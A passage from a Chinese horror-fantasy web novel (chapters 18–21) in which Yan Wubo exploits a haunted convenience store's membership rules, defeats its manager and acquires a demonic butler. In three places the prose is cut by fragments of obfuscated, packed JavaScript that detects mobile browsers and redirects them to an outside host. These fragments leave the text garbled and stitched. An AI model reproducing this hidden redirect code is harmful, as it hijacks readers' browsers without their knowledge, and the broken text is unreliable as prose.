“宽子，我之后再跟你解释，现在情况特殊，你先帮我弄上！”徐永斌歪着脖子哀求：“咱们这么多年兄弟，不至于为了一个道具闹掰吧？我发誓，我以后肯定不瞒着你了。” 邱志宽久久不语，他身上被贯穿的洞还痛着。 副本让他们工作到凌晨五点，可现在零点都没到…… “你的天赋和砖头都用了是吧？”邱志宽隐隐有了决定。 徐永斌变了脸，“你不能这么对我！” “你都能昧下道具，我为什么不能这么对你？” 邱志宽一把夺过绷带，再不理徐永斌，刻意绕到他的后脑勺方向避开他的视线。 不知又过了几个五分钟，晏无波再次来到收银台结账，她的冥币余额终于突破一百万。 徐永斌大声咒骂着邱志宽，伤口的血液缓缓淌在地上，弄脏一块块塑料地砖。 天花板上的店长狞笑地看着徐永斌，没有行动能力、无法工作的员工，就是下一个“生鲜”。 而这时，结完账的晏无波站在徐永斌身前。 店长来了兴致，问道：“贵客，您要施以援手吗？如果是您替他求情的话，或许我可以考虑考虑。” 考虑让他死得更惨。 徐永斌的眼珠拼命上翻，去瞄晏无波的脸，企图获得她的怜悯。 “美女……”半边脸长时间压在地上，让他吐字含糊不清。“我之前对你出言不逊，我错了！你人美心善，大人有大量，能不能帮我一次？我出去以后给你当牛做马，怎么都行！” 晏无波站在他身前，摇头道：“我不信嘴上说的，你还是用实际行动来证明吧。” 徐永斌激动地连连保证，店长没有焦距的眼珠也泛起了兴奋的红光。 然而下一秒，晏无波话锋一转：“店长，你这个分店购物环境太差了。你身上掉的碎渣走路硌脚，我都没心情购物了。” 她瞄了眼装鸵鸟的邱志宽，补了句：“啊，对了，货架的货为什么还不补？不卖货还开什么店。” 【生命：60%】 【生命：50%】 连续两次、一次比一次更深的痛苦让店长惨叫出声。便利店像被摔碎的玩具盒，墙壁和地板错位开来，货架摇摇晃晃地撞在了一起。 店长痛得电子音打着颤，不可置信道：“你就不怕我把其他人全杀了？” 晏无波抬头，好笑地看着店长，“你还挺通人性的。” 店长被噎得发堵，“您骂诡也真脏！” 邱志宽自知死期将至，他立刻将绷带缠在自己身上，打算先发制人。就算死，他也要拉人陪葬！ 但他藏了一整个副本没舍得用的手电筒还没拿出来，整个人就被地板推向生鲜区。 货架上多了两个新人头，店长却完全高兴不起来。 再这样下去，不等清空那个女人的钱，他就要被她拖死了！ 他开始后悔自己的冲动，早知道就忍一手，何必因为一点点事撕破脸皮…… 不然……放她走？不行。 这个女人绝非善类，她要是去别的分店成为黑钻会员，保不齐回头来找他。 必须杀了她！ 【本店临时调拨两具人体，欢迎广大顾客前来购买，先到先得，机不可失！】 【僵尸肉新鲜特卖开启，请需要的顾客前往生鲜区。】 广播声猛然炸响，似乎要穿透玻璃门，传达给外面的东西。 玻璃门外不再是现实世界的夜景，而是涌动着无数黑影的浓稠黑暗。 饥渴贪婪的视线从外面射进来，一张张非人的面孔贴在玻璃门上窥视着。 不一会儿，一只腐烂到只剩骨架的手臂推开门。 他注意到了墙壁上的规则，也发现规则的陷阱，非人的嘶吼直冲天花板。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424804|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 店长冷冷地提醒：“客人，快购物吧，时间还有四分半。” 门外的诡异见状离开大半，但仍有饿极了的不顾死活闯进来。 对店长的无可奈何让他们，转而将矛头对准在员工、以及场内唯一一个人类顾客的晏无波身上。 晏无波将铂金卡拿出来，暂时将不怀好意的视线清退了些。不过这不是长久之计，如果这些诡异始终出不去，他们的怒火势必会烧到她身上。 焦躁、饥饿和暴戾的情绪不断累积，隐隐形成了暴动的倾向。 一个货架被某只诡异撞得东倒西歪，商品散落一地。 “不得无故损坏店内财产！”店长的塑料手从两侧墙壁伸出，拉住那只诡异，生生把他扯成了两半。 他懒得处理，直接把两半身体往生鲜区一扔，“上新！” 这一幕极大地点燃了其他诡异顾客的凶性，也让剩余的人类员工瞬间陷入了绝境。 一群诡异围着刁难，即便是19级的祁景也很难应付，更别提他的规则需要他跟每一个顾客推销零食。 有特殊见诡方式的潘越龄也渐渐力不从心，在他将两个叠在一起的诡错认成一个后，腹部当即被射穿。 第一次进副本的左文宁，只片刻时间，身上就多了三个血洞。 左文宁只是个普通老师，从未受过相关训练，加之年纪大了，没有硬扛的体质。三个血洞让她痛得没办法行动，只能匍匐在收银台瑟瑟发抖。 一边应付自己任务，一边紧盯着老师的祁景看到这一幕，心脏蹦到了嗓子眼。 另一只诡异马上就要去结账，老师再不起来，恐怕会死！ 他的天赋，必须要用了。 只是……应该怎么用，才能将规则不同的人同时救出？ 晏无波也在思考。 如果能直接买100万的东西升级成黑钻，那再好不过。问题是结账时间太短，现在其他诡异还要结账，算上排队时间，可能性更低。 最有可能的办法还是找理由扣店长的血。 店长还剩50%的血量，再让他失职5次即可。可他在短时间内不会因为同一条“失职”而扣血，她暂时也想不到其他5条不同类的…… 对了，其他人的天赋都是什么来着？ 晏无波侧头去看祁景，祁景也在沉沉地看着她。 四目相对，晏无波豁然开朗，朝他走去。而祁景则是抿紧双唇，赶紧对新进来的顾客推销了几句，快速冲到晏无波身边。 “我的天赋……” “嗯，我知道。” S级天赋“涂改”：可涂改规则，每涂改一字扣除30点精神值。 晏无波朝他伸手，笑道：“还想加好友吗？” 祁景的脸颊瞬间涨红，他用力回握住她的手，重重地吐出一个字：“加！” “但是……”他直视着晏无波金色的眼睛，“你要答应我，至少，要把我的老师平安带出去。” 一个字他能保持清醒，两个字就不好说了。 “放心。”晏无波拉着他的手往门口走，“我会把你们两个都带出去的。” 19. 第 19 章 晏无波反常的行为引起了店长的注意。 “站住！”他的声音陡然拔高，刺耳的电流噪音扎向往门口走的两人。 祁景脚步不停，更改后的规则也没写他必须待在零食区。 店长心急如焚，他不能反复使用“解释权”，不然一定要把祁景钉死在零食区！ 眼看这两个人要站在海报前，超市里的广播再次响起。 【所有顾客注意，零食区免费试吃！需要的顾客请立即前往零食区找推销员！】 先前“上新”的通知再次响起，想要坑骗更多新诡异进门。 听到“免费”二字，门内的诡异和门外的诡异都忍不住了，源源不断地朝零食区和祁景涌来。 蠕动的肉墙不仅遮挡了祁景的视线，形状各异的胳膊纷纷把他往零食区拉。 店长得意的笑声回响在便利店，新进来的诡异发现自己出不去，又是一轮负面情绪爆发。 数道不怀好意的视线追随着晏无波，晏无波知道自己安全不了多久。 “你先回去，我带给你。”她当即松开祁景的手，从肉墙缝隙中挤出去，打算将海报撕下来。 店长不知道这两人有什么计划，但从晏无波的行动来看，她肯定是要对他的规则做什么。 塑料侵蚀海报，薄薄的纸张在墙壁上融化，只留下像油漆喷涂的花样。 晏无波的手指在海报边缘摸索，触感冰冷平滑，找不到任何可以撕下的缝隙。 她又用指甲刮着海报表面，试图抠破海报。 这时，指尖传来异样的触感。 在“▊▊”的涂抹区域，一层微湿的粉末被她刮了下来，很像干涸的血渍。 血渍之下，隐约有字迹的轮廓。 晏无波继续刮着，两行被掩盖的规则，重新暴露出来： 【6、以上条款仅针对普通顾客，会员按会员等级享有特权。】 【本店解释权归店长所有（黑钻会员除外）。】 果然如此。 晏无波先前看会员卡的时候就猜测，店长的解释权无法作用在黑钻会员身上，如今的海报更证实了她的想法。 黑钻会员的晋升规则…… 规则？ 晏无波灵光一闪，立刻掉头冲进混乱的零食区。 店长万分不安，但找不到不安的来源，只觉得有特别不妙的事情要发生。 晏无波挤开一众诡异，让自己占据推销主位，飞快地问：“你的技能有没有限制？能不能改高级规则？” 祁景按照工作流程，递给她一颗眼球饼干，“能，但是会消耗的精神力会增加，时间也更短，具体要看高到什么程度。” 晏无波不情愿地接过这颗挂着红血丝的眼球。 会员规则由微笑便利总部制定，等级绝对高于这家分店，关键在于高多少…… 多想无用，晏无波直接把铂金卡递给祁景看，指着上面“单次消费达到100万”的规则说道：“能不能把‘单次’改成‘单日’。” 祁景快速扫了眼，瞬间明白她的意图。 虽然算不到晏无波具体消费数额多少，但她今日的消费绝对超过一百万。 “能改！”他坚定地说道，绝口不提自己耗费的精神力可能远远超过30点。 在晏无波掏出铂金卡给祁景看的时候，店长意识到自己忽略了什么：他能控制店内的海报，可控制不了女人身上的会员卡！ “所有顾客注意！”店长没有使用广播，而是疯狂嘶吼着：“零食区惊喜大派送！” 活动是假的，根本没有这个活动。不过，要能阻止对方的计划，说谎也值。 “失职”的惩罚又一次降临在店长身上，便利店摇晃得如同地震。 诡异顾客们一拨一拨朝着祁景扑来，让他没有时间去更改规则。 晏无波的肩膀也扒上一只诡手。 危急关头，她没去抵挡，而是从背包里取出一摞厚厚的冥币。 “喜欢占便宜？” 长臂一扬，黑色纸钱如雪花在远处飘洒而下。 “抢去吧。” 诡异们集体静止，对如今的晏无波微不足道的一万冥币，在他们心中比挂在生鲜区的人肉还要有诱惑力。 纷纷扬扬的冥币倒映在他们或黑或红的眼中，嘶吼一声高过一声，贪婪彻底压过理智。 无数条奇形怪状的手臂伸向上空，只为争抢那张黑色的纸片。 便利店化作修罗场，诡异们脑子里没有对“规则”的忌惮，放肆又暴力地互相撕扯、踩踏。 晏无波扔完冥币立刻拉着祁景退出战区，“快改。” 祁景知道轻重缓急，心里压着对晏无波的佩服，将注意力集中在会员卡的那个字上。 天赋“涂改”使用成功，精神值立即被扣除30点。 会员卡上的字以缓慢的速度扭曲变形，像有人在掐着它的笔划捏造。 可这点力量不够。 再扣十点……字体变化得快了些，依旧不够！ 继续十点…… 再来！ 晏无波关注着祁景的精神值，目前数值已经降到了40。 祁景的鼻腔涌出温热的液体，视线开始模糊。 就在这时，会员卡上的“次”字，有不到一秒的时间清晰地变成了“日”。 即使是一瞬间，她也满足了黑钻会员的条件。 晏无波手中的铂金卡片光芒大作，辉光尽数收敛后，取而代之的是深邃如夜空的黑。 卡片正面，一颗钻石虚影缓缓浮现，右上角印着“SVIP000011”的编号。 祁景使用了过多精神力，脑子晕晕的，摇摇晃晃要倒下。 晏无波左臂一揽，将他稳稳接在怀里，抱着他不让他倒。 右手翻开卡牌背面，黑钻会员的特权映入眼帘。 【尊敬的黑钻会员，感谢您对微笑便利的大力支持！】 【您可选择任意分店作为您的专属店铺，在专属店铺内，您将获得以下特权】 【1、豁免：除结账以外的规则均对您无效，您可尽情购物。】 【2、优先：店长有义务将您的购物需求凌驾于一切之上。】 【3、控制：在不影响盈利的情况下，您对店铺的发展目标、经营方式拥有部分控制权。】 【4、解释权：您拥有该店铺规则的解释权。】 【5、专属管家：您可指定任意一名非总部直属诡异，成为您的专属管家。该管家将成为您与总部联系的桥梁，尽可能为您处理您在分店遇到的购物问题。】 黑钻会员已经不需要定制服务这种东西了，与购物相关的事情，店长都需要配合完成。 天花板上的店长绝望地闭上了眼，身体如风化的塑料垃圾，一片片剥落下来，扑簌簌地撒了满地。 怎么会……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429411|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怎么会这样？！ 这么努力地拦截，竟然还是这样的结果。 早知如此，他何必冒着失职的风险大费周章！ 残破的身躯在地上重新拼凑，灰白色的塑料假人此刻再无半分嚣张。 店长匍匐在地，用锻炼的四肢卑微地爬到晏无波身前，谄媚又恐惧地说道：“我最最最尊敬的黑钻会员，请允许我成为您专属的管家。” 他将自己的胸口剖开，露出一张副店长的空白工牌。 “只要您指定我，您就是这家店的副店长，以后这家店，全权交由您处置！” 晏无波“嗤”了声，有黑钻会员的特权，谁稀罕要“副店长”的职位。 而且……她还没想好要不要指定管家。 店长现在不足为惧，再指定个新来的，也是个不讨喜的怎么办。 “我今天包场。”晏无波把黑钻卡收回去，搂着半迷糊的祁景命令：“把其他诡都清出去。” 不顾及其他顾客，店长的塑料手抠着诡异顾客的脑门，一个接一个地把还在争抢冥币的他们扔出便利店，包括他的诡异员工。 现在的便利店，看起来是人类……准确来说是晏无波的天下。 左文宁和郭明劫后余生，瘫在地上大口喘气。潘越龄则是拨弄着佛珠，瞄着晏无波不知道在想什么。 晏无波用手指帮祁景擦去脸上的血，将他抱到先前店长给她搬的椅子上坐下。 剩40点的精神值的祁景看起来呆呆傻傻的，目光迷离地用脸蹭晏无波的手，像只不满月的小笨狗。 “祁景！祁景！”左文宁看到自己成绩最好的学生成了“痴呆”，急得跑过来掐他的脸。“别吓老师啊，好端端的怎么变成这样了？” 晏无波解释道：“精神值太低，出去以后慢慢能恢复。” 祁景没傻透，还知道认人：“老、老师……” 不过他叫完，就继续迷离地看晏无波，从脖子到耳后，整颗头红成了番茄。 这个厉害的姐姐，身高八尺有余，浑身散发着金色圣光，手持方天画戟……不对不对。 祁景头疼似的捂住额头。 他感觉自己的脑子被诡异给舔了，智商严重污染。 晏无波见他状态不好，继续命令店长：“让员工们都下班，你来服务我购物。” “是！”店长见晏无波还用他，兴奋地对其他人道：“你们都下班吧。” 左文宁最为高兴，她在晏无波的帮助下扶起祁景，对晏无波千恩万谢，头也不回地匆匆离开副本。 然后是没什么发挥的郭明，她对晏无波点了点头，跟在左文宁身后离开。 潘越龄离门口最近，但走得最晚。他犹犹豫豫地想对晏无波说什么，但最后什么都没说，而是走到门口，想将晏无波的模样深深记下。 晏无波也在看他。 这人在副本门口表现得就很怪，做事让人摸不着头脑。 【潘越龄，Lv15，天赋：业报（G~SS）……】 G到SS？ 晏无波第一次见到品质这么奇怪的天赋，最低品质比她的“冷静”还要低两档。 潘越龄被她金色的眼睛看得心底发毛，但他随即又镇定下来。 就算是鉴定类道具和天赋又如何？能进这种副本的人再厉害，等级也不会太高。 他身上可穿着一件B级的防窥道具，不会被看穿的。 20. 第 20 章 潘越龄不想和晏无波在副本内起冲突，尴尬地冲她笑笑就匆忙离开。 晏无波读了大半的天赋说明被迫中断。 【业报（G~SS）】 【命筹（主动）：每日三次测算机会，可探查周围十米指定目标6小时内的死相。】 【探查后立即进入判定期，若因自身接下来的一次行动，使指定目标死期推迟，则判定成功，积攒一次“功德”。行动无效，或使对方死期提前，则判定失败，积攒一次“孽障”。】 【功德与孽障可以相互抵消，以抵消后“功德/孽障”的次数生成天赋效果。】 【当前天赋效果G：孽障（2），全属性削减30%。】 没猜错的话，这两个孽障是她贡献出去的。 潘越龄在副本门口测算了邱志宽和徐永斌的死相，所以劝她不要杀心过重。但他的话没打消她的杀意，最后判定失败反噬吐血。 【度化（被动）：判定失败后，若在二十四小时内……】 这条被动晏无波没看完，但光是前半句，就足够让她警惕。 算算，距离“度化”失效还有十八个小时。潘越龄刚才迟迟不走，是想做什么？ 晏无波烦闷地叹了一声，早知道就不让员工那么早下班了。 店长很有眼力见地将椅子推到晏无波身后，晏无波顺势坐下，指挥店长继续搬货。 人已经出副本了，就不纠结了，趁双倍时间还在，得抓紧时间购物。 不管是商品还是生鲜，一切能够结账的东西晏无波通通拿下。 邱志宽和徐永斌的尸体也不例外，不过这些东西晏无波不想收进背包，让店长连同最开始的棕发男的尸身，一块送出副本。 副本外，左文宁和祁景双双坐在地上。他俩一个身体不好走不了太远，一个精神不好走路都能掉坑里，只能原地休息。 潘越龄看见他俩，想到店长的落败也有一部分是祁景出了力，眼珠子转转，上前问候道：“这位施主没事吧？我的车在这附近，不如让我送你们一程？” 左文宁最开始对他有些好感，不过自从潘越龄甩出佛珠把徐永斌勒到瘫痪，这点好感就烟消云散了。 她客气地摆手，“不用，我已经打电话报给诡异应对部门了，他们一会儿派人来接。” 潘越龄脸色一变，“你打电话给他们干什么！” “啊？”左文宁奇怪道：“不是说出来以后有需要，可以打电话给他们寻求帮助的吗？我疼得动不了，这孩子傻得走不了，可不得打电话。” “真晦气！”潘越龄很啐了一口，“这些蛀虫哪那么好心，就是想要你副本情报和你个人隐私，找他们还不如找……” “找谁？” “算了，跟你说也没什么用。看你在副本也没出什么力，就知道你的天赋也不行，入不了组织。” 潘越龄右手拉住祁景的胳膊，把他往上拽，“把他给我，你自己走吧。” 这回轮到左文宁脸色大变，她一把将祁景抱住，怒道：“滚开！要走你自己走！” 潘越龄左手扯开自己的僧袍，要把怀里藏着的布片往祁景头上盖。 咕噜噜…… 三个购物车从副本里滑出来，里面装的正是徐永斌等人的尸体。 潘越龄一愣，朝副本门口看去，以为晏无波要出来。 在他短暂转移注意力的工夫，一把匕首出现在祁景手里。 寒光晃入潘越龄的眼角，他浑身汗毛炸起，整个人飞快向后退，可他扯着祁景的手终究是慢了一步。 唰。 潘越龄的右胳膊从大臂中间齐整整地断开，静止一瞬后，反应过来的血浆从他断裂的伤口喷涌而出。 一击不成，祁景收起了匕首，换了支笔在手里握着。 潘越龄赶紧掏出伤药止血，低骂了一句，狼狈逃跑。 要不是顾忌副本里那个女的，他肯定要给这小崽子好看！ 副本里的晏无波不知道自己一时兴起逼退了潘越龄，百无聊赖地看着店长来来回回搬东西。 店里的货很快被晏无波买空，就连临时从临店调度的货物也不够买的，店长的“失职”又加了一层。 如今他只剩30%的血量。 “贵客……不然，您明天再来？”店长的身体已经不能看了，垃圾堆里的塑料玩偶都比他完整。 晏无波扒拉着背包，即便清空便利店，她现在的冥币余额也只有五百多万。 不够花，想给美瞳调特效还要一千万。 “你就这点能力？”晏无波不答应店长的提议，明天双倍没了她还来干什么。她像一个无理取闹的甲方，拼命压榨着店长：“我不管你是借的还是抢的，我现在就要花钱。不能让顾客花钱还开什么店？你这店长真没用。” 店长瑟瑟发抖，生怕晏无波再说两句给他说没了。 他倒是想继续调货，但其他分店店长肯分他余货已经是给面子了，谁能让自己店铺停摆去供应其他店？ “那要不……我带您去其他店铺消费？” “不去。” 晏无波有自知之明。 她能在这家店当上帝，不代表出了这个店铺还是上帝。 外面没有店铺规则压着，光是店长反扑她就扛不住。说不定前脚刚走到诡异世界的街道上，后脚店长就把她头拔了。 店长没辙了。 以前他无论如何都想冲业绩，千求万求都求不来一个黑钻会员，现在一来就来个大麻烦。 顾客太有钱也遭罪！ “那倒是还有最后一个办法……”店长语速很慢，似乎做出了一个极其艰难的决定。 “说。” “您可以申请一个比我职级更高的诡异当专属管家，利用他的权利来为您配货。” 店长的声音充满了不甘，他本来想当这个专属管家的。有了专属管家的经验，以后升职都有履历可写。这下好了，白白被揍一顿。 “您可以选择当前区域，即东部区域主管，或者本市主管作为您的管家。职级越大，能够调用的库存越多，还能向厂家直接下订单。” 晏无波不太想要专属管家，特别是主管什么的，一听就比面前这个厉害。 但是不要管家就花不了钱…… 算了，是骡子是马，拉出来遛遛。 她重新拿出黑钻卡，在卡片背面的特权条款最后，有“点击申请管家”六个字。 晏无波指尖点在字上，对着卡片轻声说道：“那就……东部区域主管吧。” 【正在为您申请东部区域主管“罗格”成为您的专属管家……】 【申请失败。】 【失败原因：该目标已被其他黑钻会员绑定。】 晏无波不算意外，她的卡片编号是11，这种大主管被申请走的几率很大。 “北部？西部？南部？中部？” 所有的区域主管都被申请走，那就只能申请市级主管了。 【正在为您申请本市负责人“桂森”成为您的专属管家……】 【申请成功！】 【您的专属管家“桂森”即将抵达，请稍候。】 便利店的收银机屏幕突然亮起，一缕缕黑烟从中纠缠而出。 黑烟飘到晏无波身前，幻化作一名穿着黑色西装的男人。 男人身高约有一米八以上，银白色的长发打理得一丝不苟，右眼戴着一枚圆形的银框单边眼镜，镜片后的眼睛是和头发一样的银白色，整张脸上只有双唇带有血色。 他将目光落在晏无波身上，眉尾不明显地动了动，而后才将右手放置在胸前，朝晏无波鞠躬道：“您好，尊敬的晏女士，我是您的专属管家，桂森。” 桂森的声音清冷，带着一丝疏离。 “请问您有什么吩咐？” 从声音到外貌，这是晏无波见过的最不像诡异的诡异，更像个染发戴美瞳的人。 不，还是有区别的。 他的耳廓线条锐利，向上收尖，不似人类的钝圆。 【您当前品质为E-，目标品质为B-，越级观测需要付费1亿冥币/分钟，是否观测？】 晏无波默默关掉提示。 每次她想飘，贫穷的现实都会跳出来给她一击。 还是努力攒钱吧。 “我需要购买五百万冥币的商品。”晏无波直接对桂森下达命令，“品类不限，能让我花钱就行。” 桂森微微颔首，没有提出任何异议。 五百万在他这个级别看来并不算惊人的数字，挥霍更多数字的诡他也见过。 只是…… 3级的人类，跑到E级场景里花这么多，非常少见。 准确来说，也只有面前这一个人。 桂森抬手，指尖对着货架轻轻一点。 一瞬间，便利店空荡荡的货架重新被各式各样的商品填满，并整齐的归于原位。 这些商品从包装来看比之前更精美，价格也更高。 不用桂森和晏无波吩咐，店长充当跑腿儿的和收银员，开始给晏无波结算。 【成功消费5,001,452冥币！现返还10,002,904冥币至背包，请查收！】 金元宝比晏无波还兴奋，“凑够了！我不愧是我选的宿主，还是有两下子的嘛。” 能从它嘴里听到好话实属罕见，饶是晏无波这种对彩虹屁不感冒的心情也好了几分。 她又对桂森下了第二个指令：“继续，我还要买一千万的东西。” 而这次，桂森没有答应。 “抱歉，晏女士，您要的数额已经超出了我的能力范围。” 他又一次鞠躬，银色的长发从脑后倾泻垂坠直身侧，“我可以为您调拨东封市所有分店的库存，但我不能影响其他分店的正常营业。如果您需要更多，我可以向生产商下订单，最快需要明天9点达到。” “太慢。”晏无波看着神豪系统的双倍倒计时，“必须在明早八点之前到达，过时我就不要了。” 桂森眉头皱起。 明天九点已经是加急之后的结果，再早一个小时，根本做不到。 “晏女士，这个要求……”他顿了顿，月光般的眼眸注视着晏无波，眼底似乎有流光闪过，“是不是可以再放松一些？” 桂森将自己的声线压低了些，让它更契合女性人类的喜好。 晏无波对他的“表演”没有任何欣赏，只有无尽的嫌弃。 她毫不留情的骂道：“你怎么也这么没用。” 以为招个管家出来能尽情地花钱，结果一轮游就歇菜。 桂森矜贵优雅的脸僵住，像听到了古神低语，精神陷入不可名状的混乱中。 旁边的店长爽了。 今天他被折磨这么长时间，终于能看到别的诡、特别是他上级被折磨了。 坏掉躯壳憋不住情绪，愉悦的气息丝丝缕缕传到桂森鼻尖。 同为诡异、能感受到同类情绪的桂森脸色瞬间阴沉，歪头看向这个不知死活的小店长。 他似是想到了什么，对晏无波说道：“我忘记了，这家店还有一样东西能卖……比如，这家店本身。” 店长身躯一震，立刻转头看向桂森，脖子上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对了。”他补充道：“如果刚才是您亲手打碎店长，取出这张权柄，您甚至不用花三百二十万冥币从我手中购得。” 晏无波听懂了。 她接过那张纸，从背包取出三百二十万冥币放在地上。 【成功消费3,200,000冥币！现返还6,400,000冥币至背包，请查收！】 桂森嘴里的“权柄”，在晏无波看来是一张“经营许可证”，微笑便利总部授权分店经营。 “快些签名吧，小心被别的诡抢到。”桂森柔声催促，并递上来一根笔。 晏无波只是看着纸上的字，没有拿笔签字的意思。 她头也不抬地问：“早上八点之前，你还能卖给我点什么？” 桂森仔细思考了下，摇头道：“没有了，卖给您一间店，已经是我最大的能力了，过后我还要给总部打报告。除非，您与我亲自前往其他分店购物。” “嗯，知道了。”晏无波点点头。 也就是说，今天在这个副本，钱是花不出去了。 桂森把笔递到她视野里，“晏女士，分店店长之间不能相互攻击，您要是担心，可以先成为店长，再去购物。” “你的提议听起来不错。” 晏无波抬眼，在桂森诧异的目光下，笑着将那张“权柄”撕了个稀碎。 “但我不接受。” 清脆的撕裂声在寂静的便利店里格外刺耳。 那张蕴含着当前副本核心的权柄纸片，在晏无波手下化为齑粉。 桂森脸上虚假的优雅从容渐渐消失，他冷然地看着晏无波，甚至忘了用敬语：“你为什么要撕了它？” 晏无波站起来，拍了拍双手，随意道：“我的东西，我想怎么处置就怎么处置。况且……我为什么放着黑钻会员不做，去做一个被黑钻会员耍得团团转的店长？” “我只想花钱，不是要给自己找罪受。” “成了分店店长，就要受总部、甚至是你的辖制。” 晏无波好笑地摇头，“你是真的没用，也是真的不聪明，和店长没什么两样。”都以为随便忽悠两句，就能哄骗一个人类落入陷阱。 随着权柄的消失，这间便利店开始剧烈崩塌。肉眼可见的一切都在扭曲、碎裂，现实世界和诡异世界不断交替闪现，属于诡异世界的那部分与权柄一样慢慢消散在空气中。 与纸张上说的一样，没有了权柄，这个与现实交叠的E级场景就会与现实分离。她会回到现实，诡异世界便利店的位置会沦为无主之地。 桂森站在崩坏的光影中，脸上没有被骂的不忿，而是由衷的欣赏。 他第三次躬身，这一次更加郑重。 “尊贵的晏女士，希望以后还有机会为您服务。” 晏无波不置可否，“我还以为你不会想看见我这个三级的人类。” “失礼了，原来我表现得这么明显。” 桂森眼睛弯了弯，“不过我和消亡的那个种族主义者可不一样，我是钱性恋。只要冥币足够，我什么都能接受。” 光影交错，两个世界渐渐断联，晏无波静静观赏着由她一手造就的毁灭景象。 潮闷的气息涌入鼻腔，与诡异世界款式不一样的货架杵在晏无波眼前。 进去的时候她在外面，出来的时候，她倒在便利店里面。 晏无波打开手机电筒，朝便利店门口走去。 正当她在想用不用敲碎玻璃门时，玻璃门外面如白昼一般的探照灯照亮了她的脸。 一门之隔，左文宁站在断臂前，祁景坐在小马扎上。 而他俩身边，还有一个高大的身影。 是顾夜白。 包括其他破晓人员在内，他们所有人都张大了嘴，比见了诡还震惊。 就在刚才，他们目睹了一个副本的闪回崩坏，像一个被冰冻的肥皂泡一样破碎消散。 而晏无波，竟然能从消失的副本中走出来？！ 顾夜白的长舒一口气，无奈道：“同学，你每次都能带给我惊喜。” 21. 第 21 章 晏无波只是普普通通站在门内，就给了众人无限的震撼。 顾夜白激动地朝门口走，却被小马扎上弹起的祁景抢先一步。 他欢欣雀跃地蹦跳到玻璃门前，“我就知道你一定能出来！” 小狗用爪子挠门，祁景用匕首挠门，他还没好全，但眼神清亮了不少。 晏无波从便利店里走出来，瞥向地上的断臂，问看着还有点癫的人：“你干的？” “嗯！”祁景站在她右手边，低头道：“这个人可能是非法组织的人，出来以后看我精神值低，想把我带走。” 结果自不必说，地上的断臂说明了一切。 之前晏无波注意力都在副本上，还没仔细看过他。她现在才发现，祁景只是看着脸嫩，身材不像寻常久坐的高中生那样单薄，明显有训练痕迹。 果然不能小瞧任何人。 估计潘越龄也想不到，精神值低到“智障”的人还能有战斗的能力。 “你小心些。”晏无波提醒道：“那人天赋很奇怪，最高可能到SS级。” 祁景没多问，只是拼命点头。 顾夜白调整好了激动的情绪。 这是诡异降临以来，第一例副本消失的情况，需要谨慎对待。 他站在晏无波左手边，语气熟稔：“饿不饿？请你吃个饭，我们边吃边说。” 在副本折腾一通，现在凌晨两点半，晏无波是有些饿了。不过这次和在学校不一样，这个副本的消息和收获，她另有打算。 “你已经知道了吧。” 顾夜白经验丰富，一听就知道从晏无波嘴里拿消息不容易。 他神色不变，用具有欺骗性的浓眉大眼爽朗地笑：“比起其他人，我还是更相信同学。” 晏无波只信一半，这男的可没他的脸那么正直。 不过她也没有独吞消息的打算，就算现在不说，时间长了总会被人试探出来。 这是全球性的灾难，各国都在努力应对。她有金元宝不假，但没有自大到认为自己的消息永远领先官方。 别的不说，官方的地图她就用得很顺手。对外免费的地图都这么详细，对内情报有多少可想而知。 晏无波不喜欢弯弯绕绕，直言道：“我可以把副本的消息告诉你，我也可以捐赠一些诡异商品，但我有条件。” “行，先上车。”顾夜白答应得很痛快。 他越过晏无波，对祁景说道：“我让人送你和你老师回去，要是再发现那个疑似非法组织的人，及时打行动组电话。” “张沫。”顾夜白叫了个下属过来，“后续你按流程来，我有事。” 祁景知道晏无波要走了，立刻把手机掏出来。 “要不要再加个绿微好友？” 怕她不同意，他特意补了句：“再遇到潘越龄，我还能告诉你。” 晏无波想到潘越龄的天赋，点头同意。 扫码，添加。 她随即跟着顾夜白，坐进了那辆熟悉的黑色公务车里。 “吃什么？”顾夜白启动车子，语气轻松得像是约朋友夜宵，“这个时间还在营业的饭店不多，我带你去吃火锅？” 晏无波没客气，系上安全带，靠在副驾座椅上。 “行。” 发动机轰隆作响，几分钟后，车辆从漆黑的小区驶入城市主路。 路灯投下的光在车窗上飞速掠过，明暗交替。 顾夜白率先开口：“同学就不怕我一脚油门，直接把你拉到基地，关进审讯室里严刑拷打？” 晏无波甚至没朝他那边看，平静地注视着窗外倒退的街景，“何必麻烦。” 言下之意，他现在就可以动手。 顾夜白心跳快了几分，将副本驱逐出人类世界的方法摆在他面前，且不需要任何代价就能获得，没有心动是不可能的。 但他有自己的原则，也很清楚这么做与杀鸡取卵无异。 一个接触副本几天的人就能达成这种壮举，未来未必不会做得更好。 “我好歹是破晓的人，怎么会做这种事。” 顾夜白声音沉下去，“其他组织就不一定了。” “嗯。” 顾夜白摸不清晏无波的路数，想让晏无波先开口谈条件。但晏无波独家信息和货物在手，怎么都轮不到她着急。 车内一时无话，晏无波索性打开神豪系统面板盘点副本收获。 金元宝挂在边框上，伸出小细胳膊指给她看新变化：“针对你购买物品过多的问题，我把包裹拆开了，分为道具和普通物品两个模块。诡异系统的道具不归我管，我发放的道具和技能一样能升级。以后改美瞳功能这种事不用问我，你自己看着办。” 